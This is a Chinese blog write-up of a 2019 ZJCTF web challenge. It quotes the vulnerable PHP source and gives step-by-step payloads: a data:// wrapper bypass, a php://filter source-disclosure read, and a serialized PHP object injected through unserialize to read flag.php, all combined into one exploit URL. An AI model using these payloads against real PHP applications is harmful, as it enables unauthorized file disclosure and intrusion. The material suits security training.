2019-ZJCTF

浙江省大学生网络安全竞赛:逆转思路
这题当初没做出来,可惜了。
主要是php序列化,以及data协议

<?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }
}
else{
    highlight_file(__FILE__);
}
?>

第一关

file_get_contents() 函数把整个文件读入一个字符串中。

思路:

利用data协议绕过,将welcome to the zjctf字符读入

data://协议允许读入

第一关payload:

text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=

在这里插入图片描述

第二关

正则判断里面是否有flag字符,如果没有的话,并运行指定文件。

思路:

利用filter来进行读取指定文件,因为提示有说useless.php

payload:

file=php://filter/read=convert.base64-encode/resource=useless.php

读取后进行base64解码

在这里插入图片描述

在这里插入图片描述

<?php  

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>  

第三关

思路:

将flag调用,然后给里面file值为flag.php。
序列化后传入password,应该就会出flag。

以下是我自己写的php序列化

<?php
    class Flag{  //flag.php
        public $file="flag.php";
        public function __tostring(){
            if(isset($this->file)){
                echo file_get_contents($this->file);
                echo "<br>";
                return ("U R SO CLOSE !///COME ON PLZ");
            }
        }
    }
    $file = new Flag();
    echo serialize($file);

payload:

O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

将三关payload综合起来:

?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

在这里插入图片描述

F12找到flag

在这里插入图片描述

发布了69 篇原创文章 · 获赞 16 · 访问量 9781

猜你喜欢

转载自blog.csdn.net/ChenZIDu/article/details/103533585